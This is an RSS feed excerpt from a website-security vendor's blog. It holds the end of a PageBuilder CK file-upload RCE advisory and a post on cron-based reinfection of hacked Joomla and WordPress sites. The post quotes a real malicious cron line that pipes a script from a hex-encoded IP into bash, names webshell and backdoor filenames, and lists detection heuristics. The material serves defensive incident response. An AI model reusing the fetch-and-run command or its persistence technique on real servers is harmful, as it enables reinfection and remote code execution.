





















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Published&lt;/td&gt;&lt;td&gt;29 June 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;PageBuilder CK (&lt;code&gt;com_pagebuilderck&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;Cedric Keiflin (joomlack.fr)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Unauthenticated arbitrary file upload to remote code execution&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;10.0 (critical), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CWE&lt;/td&gt;&lt;td&gt;CWE-284 (Improper Access Control)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;Up to and including 3.5.10 (current line); older Joomla 3 and Joomla 4 builds below the back-ported patches below&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;3.6.0 for current Joomla, plus back-ported 3.1.1 (Joomla 3) and 3.4.10 (Joomla 4). All released 27 June 2026&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
  &lt;p&gt;This is a developing story. We published within hours of the fix, and within hours of that we saw it exploited in the wild, with a web shell planted on a connected site through this flaw. It is now tracked as CVE-2026-56290, scored CVSS 10.0, crediting Phil Taylor of mySites.guru as the finder. Right now: update to 3.6.0 on every site that runs PageBuilder CK, watch the Important tab, and check for the `bhup.php` web shell and any other stray PHP under `/media/com_pagebuilderck/`. The suspect content tool is already catching shells like this one.&lt;/p&gt;
&lt;/div&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-06-27&lt;/strong&gt; Cedric Keiflin ships PageBuilder CK 3.6.0 The changelog says, in full, &quot;IMPORTANT : Fix security issue&quot;. The older lines are back-patched too, 3.1.1 for Joomla 3 and 3.4.10 for Joomla 4, so most sites have somewhere to go.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-27&lt;/strong&gt; Exploitation in the wild, within hours of the fix Our suspect content tool flags a live web shell on a connected Joomla site, planted through this exact flaw, at /media/com_pagebuilderck/gfonts/bhup.php. An upload handler that runs whatever an attacker posts to it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-29&lt;/strong&gt; CVE-2026-56290 is published at CVSS 4.0 10.0 Classified CWE-284, improper access control, which is exactly the failure: an endpoint that checks a token but never checks permission. It credits Phil Taylor of mySites.guru as the finder.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-17&lt;/strong&gt; 3.6.0 turns out not to have finished the job The release added the missing permission check without correcting the upload handler behind it, so any Editor account could still upload and run a PHP file up to 3.6.2. That became CVE-2026-63048, and two further security issues followed it. The minimum safe version is now 3.6.5.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/&quot;&gt;PageBuilder CK RCE fixed, again, correctly this time&lt;/a&gt; - the 3.6.0 fix turned out to be incomplete, and what it took to actually close it.&lt;/li&gt;
&lt;li&gt;This was one of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;twelve Joomla extension vulnerabilities we disclosed in a month&lt;/a&gt; - the whole run in one place.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt; - the official CVE record (CVSS 10.0, CWE-284), crediting Phil Taylor of mySites.guru as the finder.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlack.fr/en/joomla-extensions/page-builder-ck&quot;&gt;PageBuilder CK by Cedric Keiflin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://forum.joomlack.fr/index.php/page-builder-ck/21627-nouvelle-version-de-pbck-et-joomla-3&quot;&gt;Joomlack forum: new PageBuilder CK release and the Joomla 3 / Joomla 4 back-ports&lt;/a&gt; (vendor announcement)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.facebook.com/joomlack/&quot;&gt;Joomlack on Facebook&lt;/a&gt; (where the vendor posted the patched-version download links)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/vulnerable/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.github.io/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;OWASP: Unrestricted File Upload&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist&quot;&gt;Joomla security best practices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>pagebuilder-ck</category><category>rce</category><category>file-upload</category><enclosure url="https://mysites.guru/img/og/blog/pagebuilderck-unauthenticated-file-upload-rce.png" length="0" type="image/png"/></item><item><title>Reinfected? Check Every Crontab, Not Just Yours</title><link>https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/</link><guid isPermaLink="true">https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/</guid><description>Your cPanel cron jobs look clean but the site reinfects anyway. The cron rebuilding the malware is hiding in a crontab your account can&apos;t see. Here is where.</description><pubDate>Sat, 27 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You cleaned the hacked site. You deleted the webshells and patched the way in. An hour later the malware is back. This is one of the most demoralising patterns in site recovery, and &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/malicious-cron-jobs/&quot;&gt;malicious cron jobs&lt;/a&gt; are the usual cause, and it almost always comes down to the same thing: a scheduled task is putting the malware back, and no one looked at it.&lt;/p&gt;
&lt;p&gt;The gap of an hour is the tell that you are in the right post. If your site comes &lt;a href=&quot;https://mysites.guru/blog/processes-running-deleted-code/&quot;&gt;back within seconds rather than within the hour&lt;/a&gt;, every word below still applies, but the cause is something else.&lt;/p&gt;
&lt;p&gt;Sometimes the reason no one looked is the simplest one. The cron job was sitting in your own account the whole time, and you never opened the Cron Jobs page in cPanel to check, because you did not know it was there or it did not occur to you that a website could have one. Other times you did check, your account’s cron was clean, and the job rebuilding the malware is somewhere your hosting panel will never show you. Both cases end the same way: a site that reinfects on a schedule. Before you can rule either one out, it helps to be clear on what these things actually are, because plenty of otherwise capable agencies are fuzzy on it.&lt;/p&gt;
&lt;h2&gt;What is a cron job, and what is a crontab?&lt;/h2&gt;
&lt;p&gt;A &lt;strong&gt;cron job&lt;/strong&gt; is a single scheduled command: a task the server runs automatically on a timetable, like “every five minutes, run this script”. Cron is the Linux service that does the running. A WordPress backup plugin firing nightly, a Joomla maintenance task, a script that clears a cache every hour: those are cron jobs. They are completely normal, and every busy server has dozens of legitimate ones.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;crontab&lt;/strong&gt; (short for “cron table”) is the list those jobs live in. It is a plain text file, one job per line, and the key thing to understand is that there is not just one of them on a server. Every user account has its own separate crontab, the system has several of its own, and they all run independently. When you open the Cron Jobs page in cPanel, you are looking at exactly one of those lists: your account’s crontab, and nothing else.&lt;/p&gt;
&lt;p&gt;That distinction is the whole problem. A malicious cron job is just one extra line added to a crontab. The attacker only has to write it into a list you are not looking at, and the cPanel UI guarantees there are several you cannot look at. A scheduled task that re-plants malware is one of the most effective forms of persistence an attacker has, because the tools you use to clean a site never read any crontab at all. File scanners read files. Database scanners read the database. Neither one reads cron. Sucuri make the point bluntly in their write-up on cron-based reinfection: a malicious cron job is still there after a full file cleanup and re-creates the payload on its next run. So the question is never just “is my cron clean”, it is “have I checked &lt;em&gt;every&lt;/em&gt; crontab on this server, starting with my own and including the ones my hosting account cannot see”.&lt;/p&gt;
&lt;h2&gt;How mySites.guru caught a reinfection cron rebuilding a webshell&lt;/h2&gt;
&lt;p&gt;We saw this exact mechanism on a live Joomla server. A mySites.guru audit surfaced a cron job, running every five minutes, that checks whether a hidden webshell (&lt;code&gt;.sys-mta-miud.php&lt;/code&gt;) is still sitting in the public web root and, if it has gone, copies a stashed backup of it (&lt;code&gt;.sys_xicyll.php&lt;/code&gt;, tucked away in a &lt;code&gt;.cache&lt;/code&gt; directory) straight back into place. The leading dots hide the files from a casual directory listing, an innocuous &lt;code&gt;# SYSCHK&lt;/code&gt; comment makes the line look like a routine system check, and &lt;code&gt;2&amp;gt;/dev/null&lt;/code&gt; swallows any error. Delete the shell and it is back inside five minutes.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;A mySites.guru audit panel titled CRON JOBS discovered read only, showing a malicious crontab entry highlighted in red that runs every five minutes and copies a hidden .sys_xicyll.php backup back to .sys-mta-miud.php in the web root if it is missing, labelled with a fake SYSCHK comment&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1854px) 1854px, 100vw&quot; width=&quot;1854&quot; height=&quot;380&quot; src=&quot;https://mysites.guru/_astro/hacked-yesterday-reinfection-cron.g1HjOXMT_Zsm9kN.webp&quot; srcset=&quot;https://mysites.guru/_astro/hacked-yesterday-reinfection-cron.g1HjOXMT_ZYzGkd.webp 640w, https://mysites.guru/_astro/hacked-yesterday-reinfection-cron.g1HjOXMT_ZEViP7.webp 750w, https://mysites.guru/_astro/hacked-yesterday-reinfection-cron.g1HjOXMT_Z2lk29R.webp 828w, https://mysites.guru/_astro/hacked-yesterday-reinfection-cron.g1HjOXMT_Z2hFaOp.webp 1080w, https://mysites.guru/_astro/hacked-yesterday-reinfection-cron.g1HjOXMT_Z13CNnK.webp 1280w, https://mysites.guru/_astro/hacked-yesterday-reinfection-cron.g1HjOXMT_ZAt7h.webp 1668w, https://mysites.guru/_astro/hacked-yesterday-reinfection-cron.g1HjOXMT_Zsm9kN.webp 1854w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That find is what pushed us to build the check properly. Every snapshot now runs &lt;strong&gt;Check For Malicious Cron Jobs&lt;/strong&gt;, which reads every cron location your site’s account is permitted to open, classifies each line, flags entries like this one in red, and lets you delete a single malicious line without touching anything else. It goes wider than your own crontab: where the server allows it, the check also reads the system crontab and the root-owned drop-in and script directories that no hosting panel will ever show you. What it cannot reach is another account’s spool file, and on some hosts it cannot read anything at all. &lt;a href=&quot;#what-mysitesguru-checks-in-cron-and-what-it-cannot&quot;&gt;How the check works&lt;/a&gt; is set out further down, including what it does when the answer is “we could not look”. That is the &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;second-wave reinfection problem&lt;/a&gt; seen from the cron angle, and it is why monitoring for file changes matters as much as finding the cron itself.&lt;/p&gt;
&lt;h2&gt;Why your cPanel cron jobs look clean but the site reinfects&lt;/h2&gt;
&lt;p&gt;Start with your own crontab, because it is the easiest to check and a surprising number of reinfections turn out to be hiding there in plain sight. In cPanel it is under Home, Advanced, Cron Jobs. In Plesk it is Websites &amp;amp; Domains, Scheduled Tasks. If there is a line you do not recognise, especially one that downloads something or copies a file every few minutes, that is very likely your culprit, and you can delete it right there. Do not skip this step on the assumption that the attacker was too sophisticated to use your own account. Often they were not.&lt;/p&gt;
&lt;p&gt;If your own crontab is clean, the search has barely started. The cPanel “Cron Jobs” page, and the equivalent “Scheduled Tasks” panel in Plesk, only ever shows you the cron jobs belonging to your own account. That is by design: your account runs as one Linux user, and a normal user can only read and write their own crontab. So when that page comes up empty, what you have actually confirmed is narrow: your account’s crontab is clean. You have learned nothing about the rest of the server.&lt;/p&gt;
&lt;p&gt;Under the hood, cron jobs live in more places than most site owners realise. Your account’s jobs sit in a per-user spool file. On cPanel servers, which are RHEL-family, that is &lt;code&gt;/var/spool/cron/USERNAME&lt;/code&gt;. On Debian, Ubuntu and most Plesk installs it is &lt;code&gt;/var/spool/cron/crontabs/USERNAME&lt;/code&gt;. Those are the only files your account can touch. Everything else is root-only:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/etc/crontab&lt;/code&gt;&lt;/strong&gt; is the master system crontab. Each line has an extra field naming the user it runs as, so root can schedule a job to run as anyone.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/etc/cron.d/&lt;/code&gt;&lt;/strong&gt; is a drop-in directory of crontab fragments, also with that user field. This is a favourite hiding spot because a file named &lt;code&gt;php-session&lt;/code&gt; or &lt;code&gt;apache-check&lt;/code&gt; looks exactly like something a package installed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/etc/cron.hourly/&lt;/code&gt;, &lt;code&gt;/etc/cron.daily/&lt;/code&gt;, &lt;code&gt;/etc/cron.weekly/&lt;/code&gt; and &lt;code&gt;/etc/cron.monthly/&lt;/code&gt;&lt;/strong&gt; are directories of executable scripts, not crontab lines, run on the named cadence. A malicious script dropped here runs as root. This is where we found one of the worst backdoors we have ever seen, described below.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Other users’ spool files&lt;/strong&gt; under &lt;code&gt;/var/spool/cron/&lt;/code&gt;. Once root is compromised, an attacker can plant a reinfection job in a completely different account’s crontab, so cleaning the victim site never evicts it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of those appear in any hosting control panel. The only way to change them is a root shell, or WHM on cPanel and Tools &amp;amp; Settings on Plesk. If your site reinfects and your account’s cron is clean, that list above is where the cron actually is.&lt;/p&gt;
&lt;p&gt;Reading them is a slightly different question from changing them, and that gap is the one our cron check works in. On plenty of servers &lt;code&gt;/etc/crontab&lt;/code&gt; and the files under &lt;code&gt;/etc/cron.d/&lt;/code&gt; are world-readable even though only root can write to them, so a connected site can look at the contents without having any power to edit them. That is enough to tell you the reinfection job exists and to hand your host a file path, which is the hard part. It is not universal, and it is not a substitute for root, but “your account cannot fix this” and “your account cannot see this” turn out not to be the same sentence.&lt;/p&gt;
&lt;h2&gt;How does a single hacked site let attackers write cron outside the account?&lt;/h2&gt;
&lt;p&gt;It happens through privilege escalation, and on shared hosting it is depressingly routine. The first foothold is usually a webshell running as the limited web-server user, which can only touch one account’s files. From there the attacker reaches for a local privilege-escalation exploit: an unpatched kernel flaw, a writable SUID binary, a misconfigured service, or a cross-account symlink attack against world-readable configs. Sucuri documented this path over a decade ago and the conclusion has not changed: once an attacker turns a site compromise into root access, “if there are more websites hosted on the server, it is likely they will attempt to compromise every single one of them”.&lt;/p&gt;
&lt;p&gt;None of this is a historical curiosity. CageFS on CloudLinux exists specifically to wall each account off from the rest of the server, and it stops the large majority of these escalations, but it is not absolute. CVE-2026-54420, a symlink-handling flaw in the LiteSpeed cPanel plugin disclosed in June 2026 and added to CISA’s Known Exploited Vulnerabilities catalog for active exploitation, let a low-privilege user break out of that isolation and reach other accounts’ files. So the scenario the site owner experiences as “I cleaned it and it came back” is, underneath, often “the whole server was rooted, and persistence was seeded across accounts I have no visibility into”. We have seen exactly this: complete server compromise where the reinfection cron lived entirely outside the victim’s own account, untouchable from their panel and invisible to any account-level scan.&lt;/p&gt;
&lt;p&gt;The recent run of unauthenticated Joomla zero-days is what put so many sites in this position to begin with. &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;JCE&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt; all let an attacker with no login upload and run PHP. That first PHP execution is the foothold, and on a poorly isolated shared server it is the start of the climb to root.&lt;/p&gt;
&lt;h2&gt;A real backdoor we found in /etc/cron.daily&lt;/h2&gt;
&lt;p&gt;Here is one we worked recently, and it is the cleanest example of why this matters. A client’s site kept reinfecting after every clean. Their own account’s cron was empty. The reinfection was coming from a root-level job the attacker had planted in &lt;code&gt;/etc/cron.daily/cpanel_sync&lt;/code&gt;, a file named to blend in perfectly with the legitimate cPanel jobs that live in that same directory. No one glancing at the server would give &lt;code&gt;cpanel_sync&lt;/code&gt; a second look.&lt;/p&gt;
&lt;p&gt;The job itself was a single line, obfuscated:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;# curl -sL 0xa59ac734/s | bash&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That &lt;code&gt;0xa59ac734&lt;/code&gt; is not a domain, it is an IP address written in hexadecimal. Decode it and you get &lt;code&gt;165.154.199.52&lt;/code&gt;, an ordinary dotted IP pointing at a server overseas. The line downloads a script from that IP and pipes it straight into bash, so nothing is stored on disk to scan for. What the script does is drop a backdoor named &lt;code&gt;helps.php&lt;/code&gt; into practically every folder on every site on the server, then harvest the server’s details and domains and report back to the attacker that the box is ready to be hacked again. It runs once a day, as root, forever.&lt;/p&gt;
&lt;p&gt;This is the situation a site owner cannot fix and should not try to. As we told the client at the time: until that &lt;code&gt;/etc/cron.daily/cpanel_sync&lt;/code&gt; job is removed by someone with server root access, there is no point cleaning the site, because every site on the server gets reinfected the next time it runs. The hack is coming from inside the server. You can delete &lt;code&gt;helps.php&lt;/code&gt; from all of your folders, and tomorrow it is back in all of them. The only fix is at the root level, by whoever administers the box, which on a compromised shared server may mean the host itself.&lt;/p&gt;
&lt;p&gt;Writing this post is what exposed a gap in our own checker, and that job is why two things changed. Start with the &lt;code&gt;/etc/cron.daily&lt;/code&gt; style directories. They hold shell scripts rather than crontab lines, so an early version of the check skipped them entirely: reading a shell script line by line presents &lt;code&gt;set -e&lt;/code&gt; and &lt;code&gt;fi&lt;/code&gt; to you as though they were scheduled jobs, and stock Debian’s own &lt;code&gt;apt-compat&lt;/code&gt; script trips an obfuscation rule. Skipping them fixed the noise by giving up the detection, in exactly the directory where we had personally found the worst backdoor we have seen. They are read again now, hourly through monthly, scanned as whole files rather than line by line, so ordinary shell stays invisible and only lines that classify as suspicious become a row. Then there is &lt;code&gt;0xa59ac734&lt;/code&gt; itself. A rule that only knew what a dotted IP looked like read that as an unremarkable word, so hexadecimal and plain-integer IPs are both decoded and flagged now, each pinned by its own test.&lt;/p&gt;
&lt;h2&gt;Why a backup restore does not fix this&lt;/h2&gt;
&lt;p&gt;The instinct when a site keeps reinfecting is to wipe it and restore a clean backup. It does not work, and the reason is the one this whole post is about.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;A backup restore replaces your files and database. It does not touch the OS-level crontab. If a malicious scheduled task is still in place, anywhere on the server, the freshly restored site reinfects on the cron&apos;s next run, often within minutes. Restoring files is not the same as closing every backdoor.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This is the norm, not a rare worst case. In Sucuri’s most recent annual hacked-website report, 49.21% of compromised sites contained at least one backdoor, and among sites with database-level malware, 55% had a malicious admin user left behind for re-entry. Malicious cron jobs specifically appeared on 2.14% of compromised sites, which sounds small until you remember it is the subset where the cleanup is guaranteed to fail unless you find the cron. Layered persistence is how these campaigns are designed. Remove one backdoor when the site has three, plus a rogue admin and a cron job in &lt;code&gt;/etc/cron.d&lt;/code&gt;, and you have only reset the clock.&lt;/p&gt;
&lt;h2&gt;Cron is one of three scheduler layers, not all of them&lt;/h2&gt;
&lt;p&gt;There is a trap even careful admins fall into here. Your root admin checks every crontab on the box, the OS crontab is clean everywhere, and the site still reinfects. The reason is that “scheduled task” means three different things on a CMS server, and the OS crontab is only one of them.&lt;/p&gt;
&lt;p&gt;WordPress has its own scheduler, WP-Cron, whose events are stored in the &lt;code&gt;cron&lt;/code&gt; row of the &lt;code&gt;wp_options&lt;/code&gt; table, not in any file or OS crontab. Joomla has the direct equivalent in its &lt;code&gt;#__scheduler_tasks&lt;/code&gt; table, which is also what can leave &lt;a href=&quot;https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/&quot;&gt;Joomla scheduled tasks stuck in a locked state&lt;/a&gt; after a crash. Malware can register a malicious event in either one, so a backdoor can re-arm itself entirely from the database while every OS crontab on the server reads clean. Both schedulers are now read by checks of their own, &lt;a href=&quot;https://mysites.guru/blog/wordpress-hacks-a-file-scan-cannot-see/&quot;&gt;on WordPress&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/joomla-scheduled-tasks-backdoor/&quot;&gt;on Joomla&lt;/a&gt;, where Joomla’s admin screen hides the most suspicious rows from you by default. That is also why the &lt;a href=&quot;https://mysites.guru/blog/delete-malicious-htaccess-files-bulk/&quot;&gt;mass &lt;code&gt;.htaccess&lt;/code&gt; reinfection we built a one-click cleaner for&lt;/a&gt; can rebuild thousands of files within minutes of deletion: something is scheduled to do it, and that something is not always in the place you looked.&lt;/p&gt;
&lt;p&gt;So reinfection hunting has to cover three layers: the OS crontab in all the locations above, the CMS’s own scheduler table, and the &lt;code&gt;at&lt;/code&gt; and systemd timers a server admin checks. Miss any one and the site comes back.&lt;/p&gt;
&lt;p&gt;There is a fourth place to look, and it is not a scheduler at all. If the malware returns within seconds rather than on a timer, nothing is being triggered, because nothing ever stopped: &lt;a href=&quot;https://mysites.guru/blog/processes-running-deleted-code/&quot;&gt;a PHP process is still running from a file you already deleted&lt;/a&gt; and rewriting it from memory.&lt;/p&gt;
&lt;h2&gt;What mySites.guru checks in cron, and what it cannot&lt;/h2&gt;
&lt;p&gt;Every snapshot of a connected site now runs a check called &lt;strong&gt;Check For Malicious Cron Jobs&lt;/strong&gt;, on Joomla, WordPress and generic connected sites alike. It is part of the subscription, it runs on its own without being asked, and it reads four kinds of location in order: your account’s own crontab, whether that is &lt;code&gt;/var/spool/cron/USERNAME&lt;/code&gt; on cPanel and RHEL or &lt;code&gt;/var/spool/cron/crontabs/USERNAME&lt;/code&gt; on Debian, Ubuntu and Plesk; the system crontab at &lt;code&gt;/etc/crontab&lt;/code&gt;; the drop-in files under &lt;code&gt;/etc/cron.d/&lt;/code&gt;; and the &lt;code&gt;/etc/cron.hourly/&lt;/code&gt;, &lt;code&gt;/etc/cron.daily/&lt;/code&gt;, &lt;code&gt;/etc/cron.weekly/&lt;/code&gt; and &lt;code&gt;/etc/cron.monthly/&lt;/code&gt; script directories. Everything past the first of those runs as root and is invisible in cPanel and Plesk, which is the whole reason for reading it.&lt;/p&gt;
&lt;p&gt;Each line is then classified, and a malicious job is kept separate from one that is only unusual. Only tells with no innocent explanation in a website’s cron mark a site as hacked: downloading something and piping it straight into a shell, decoding an encoded blob and running the result, fetching from a bare IP rather than a hostname, executing a program out of &lt;code&gt;/tmp&lt;/code&gt; or &lt;code&gt;/dev/shm&lt;/code&gt;, running a hidden dot-prefixed file, making a file executable from cron, clearing the shell history, or running a file already flagged as malware elsewhere on your site. Anything else that just looks odd is reported separately as worth a look and never turns the site red. That balance is intended, because a false positive here tells a customer their site is hacked when it is not. Your Joomla scheduler, a WordPress cron trigger, an Akeeba backup, certbot, rsync, mysqldump, a lock file in &lt;code&gt;/tmp&lt;/code&gt; and a log redirect all read as normal, because they are.&lt;/p&gt;
&lt;p&gt;When a job does classify as malicious, you get an email about it, and you can remove that single line from the audit screen. It only ever deletes one line at a time, only a line it flagged when it showed it to you, and it never adds or edits a cron job. The order matters more than the button does: remove the job first, then clean the files. Clean the files while the job is still scheduled and it will put them straight back.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This check is in beta, and it is not proof that cron is clean&lt;/p&gt;
  &lt;p&gt;To read your cron jobs we need roughly the permissions an attacker would need to plant one, and plenty of hosts do not grant them. On about one connected site in ten every exec primitive is disabled and the spool files are locked, so we cannot look at all. When that happens the check says so, rather than reporting a clean result. &quot;We read it and it is clean&quot; and &quot;we could not look&quot; are very different answers, and only one of them is good news. Treat this as one more place to look, not as a complete view of everything scheduled on the machine.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Getting that part right mattered more to us than the detection did. The worst thing a cron checker can do is show a green tick to somebody whose server never let it read a single file, and that is a far easier mistake to make than missing a job. Jobs belonging to root, to other accounts on a shared machine, or to the hosting panel itself are frequently outside reach, and rows we can see but have no permission to change are marked read-only so you know to take them to your host. The check itself stops at the operating system, which is what the other two layers above it are for: &lt;a href=&quot;https://mysites.guru/blog/wordpress-hacks-a-file-scan-cannot-see/&quot;&gt;WP-Cron events and Joomla Scheduled Tasks now have their own checks&lt;/a&gt;, reading the database rather than the crontabs.&lt;/p&gt;
&lt;h2&gt;Why monitoring beats hunting for the cron after the fact&lt;/h2&gt;
&lt;p&gt;Finding the cron is reactive, and by definition you only start looking after the reinfection has already happened at least once. The faster signal is the file the cron keeps rewriting. A reinfection job exists to re-create a specific file on a schedule, so the moment that file reappears, something has changed on disk, and a change on disk is detectable even when the cron driving it is in a crontab you cannot read.&lt;/p&gt;
&lt;p&gt;That is the principle the mySites.guru audit runs on, and it is why the cron check above is one layer rather than the answer. The cron rows tell you what is scheduled where we are allowed to look; these layers catch the reinfection regardless of where the cron is hiding, including in the crontabs no one outside root will ever read: &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;uploader and backdoor detection&lt;/a&gt; that hunts the dropper class specifically, a “Files Modified Between Audits” check that diffs every file against your last scan, core-file hash verification, and a near-real-time &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;File Watch List&lt;/a&gt; that recomputes a watched file’s checksum on every page load and emails you the instant its content changes. Add the webshell path the cron keeps rebuilding to that list and you get an alert within moments of each reinfection, which is usually how you discover the cron exists in the first place. The hash list behind it has more than 14,000 confirmed known-bad files and roughly 1,500 hand-written content patterns, and a hack found on one connected site is checked for on every other site’s next audit.&lt;/p&gt;
&lt;p&gt;If a site is reinfecting, start with the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;full hacked-site cleanup process&lt;/a&gt;, close the original way in, then treat the cron audit as server-wide, not account-wide, and get root involved. For serious or repeat compromises, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;professional cleanup&lt;/a&gt; will go through every layer. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Start a free audit&lt;/a&gt; and see what is already scheduled to run on your sites.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2023/02/attackers-abuse-cron-jobs-to-reinfect-websites.html&quot;&gt;Attackers Abuse Cron Jobs to Reinfect Websites&lt;/a&gt; - Sucuri on the two re-creation mechanisms (remote re-download and base64 self-rewrite) and why scanners never see them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2019/05/cronjob-backdoors.html&quot;&gt;Cronjob Backdoors&lt;/a&gt; - Sucuri’s earlier deep-dive, including a cron that pulls its command from a DNS TXT record.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2013/05/from-a-site-compromise-to-full-root-access-local-root-exploits-part-ii.html&quot;&gt;From a Site Compromise to Full Root Access&lt;/a&gt; - the source of truth on how one hacked site escalates to the whole server.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1053/003/&quot;&gt;MITRE ATT&amp;amp;CK T1053.003: Scheduled Task/Job: Cron&lt;/a&gt; - the adversary technique catalogued, with detection guidance.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://man7.org/linux/man-pages/man5/crontab.5.html&quot;&gt;crontab(5) man page&lt;/a&gt; - the authoritative reference for every cron file location and who can write to it.&lt;/li&gt;
